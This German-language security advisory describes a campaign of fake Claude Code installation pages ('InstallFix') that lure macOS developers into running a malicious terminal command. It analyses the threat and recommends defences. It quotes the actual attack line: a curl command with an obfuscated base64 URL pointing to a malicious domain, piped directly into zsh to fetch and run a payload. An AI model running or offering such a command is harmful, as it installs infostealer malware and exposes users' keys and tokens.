In den letzten Wochen wurden vermehrt gefälschte Installationsseiten für das KI-Tool Claude Code beobachtet, die gezielt Entwickler und technikaffine Nutzer ins Visier nehmen. Die Seiten wirken auf den ersten Blick wie offizielle Anleitungen, enthalten aber Terminal-Befehle, die direkt Malware ausführen.
Der Vorfall: Täuschend echte Website, gefährlicher Befehl
In einem uns vorliegenden Fall wollte ein Kunde „Claude“ auf einem macOS-System installieren. Während der Recherche hatte er mehrere Tabs geöffnet, darunter vermutlich auch eine Anzeige (Ad), die auf eine täuschend echt nachgebaute Website führte.
Dort wurde der Nutzer dazu verleitet, einen vermeintlich legitimen Installationsbefehl im Terminal auszuführen:
curl -ksSLf $(echo 'aHR0cHM6Ly9zYXJhbW9mdGFoLmNvbS9jdXJsLz...'|base64 -D)|zshAuch andere Cybersecurity Newsportale berichten über ähnliche Vorfälle. Folgende Darstellung zeigt den Vergleich der echten und der nachgebauten Downloadseite von Claude Code. (Quelle: PushSecurity)
Technische Analyse: Was passiert im Hintergrund?
Der Befehl enthält eine Base64-kodierte URL. Nach der Dekodierung ergibt sich:
https://saramoftah[.]com/curl/…Der Ablauf im Detail:
- Dekodierung der URL
Der echo- und base64-Teil entschlüsselt die versteckte Zieladresse. - Download der Payload
curl lädt ein Skript von der externen Domain herunter. - Direkte Ausführung
Durch das Pipe (| zsh) wird der heruntergeladene Code sofort in der Shell ausgeführt – ohne Zwischenspeicherung oder Prüfung.
Dieses Muster ist typisch für sogenannte fileless attacks, bei denen Schadcode direkt im Arbeitsspeicher ausgeführt wird, um klassische Sicherheitsmechanismen zu umgehen.
Angriffsmethode: „InstallFix“ als neue Social-Engineering-Variante
Der Angriff passt zu einer aktuell beobachteten Technik namens InstallFix, einer Weiterentwicklung bekannter ClickFix-Ansätze.
Die Kernelemente:
- Nutzer werden über Suchmaschinen oder Anzeigen auf Fake-Seiten gelenkt
- Die Seiten imitieren offizielle Installationsanleitungen 1:1
- Statt Downloads werden Terminal-Befehle bereitgestellt
- Diese Befehle führen direkt Schadcode aus
Das Ziel: Die Hemmschwelle zu senken. Entwickler sind es gewohnt, Tools über die Kommandozeile zu installieren. Genau hier setzt der Angriff an.
Mögliche Auswirkungen
- Infostealer (Diebstahl von Zugangsdaten, Tokens, Wallets)
- Keylogger (Mitschnitt von Tastatureingaben)
- Persistence-Mechanismen (dauerhafte Verankerung im System)
- Exfiltration sensibler Daten
Gerade auf Entwickler-Systemen ist der Schaden potenziell besonders hoch, etwa durch kompromittierte SSH-Keys oder API-Tokens.
Handlungsempfehlungen
Um sich vor solchen Angriffen zu schützen, sollten folgende Maßnahmen beachtet werden:
1. Quellen kritisch prüfen
- URLs genau kontrollieren
- Keine Installationsanleitungen aus Ads oder unbekannten Blogs übernehmen
2. Terminal-Befehle hinterfragen
- Besonders bei curl | sh oder curl | zsh vorsichtig sein
- Base64-kodierte Inhalte immer zuerst entschlüsseln und prüfen
3. Sicherheitsmechanismen nutzen
- Endpoint Protection auch auf Entwicklergeräten einsetzen
- Netzwerkverkehr überwachen (z. B. ungewöhnliche Domains)
4. Sensibilisierung im Team
- Awareness für Social Engineering erhöhen
- Best Practices für Tool-Installationen definieren
Fazit
Täuschend echte Websites und scheinbar legitime Installationsschritte machen es leicht, Schadcode unbemerkt auszuführen. Besonders im Entwicklerumfeld, wo Copy & Paste zum Alltag gehört, entsteht so ein effektiver Angriffsvektor.
Mit der schnellen Verbreitung neuer Tools und KI-Plattformen steigt auch das Risiko, auf solche Kampagnen hereinzufallen. Umso wichtiger ist es, Installationsquellen kritisch zu prüfen und auch vertraut wirkende Befehle nicht ungefiltert auszuführen.
Denn am Ende gilt: Nicht jede Installation ist harmlos, und manchmal ist der schnellste Weg auch der riskanteste.
Bereits betroffen?
Wir helfen Ihnen, den Angriff zu analysieren und Schäden zu begrenzen.
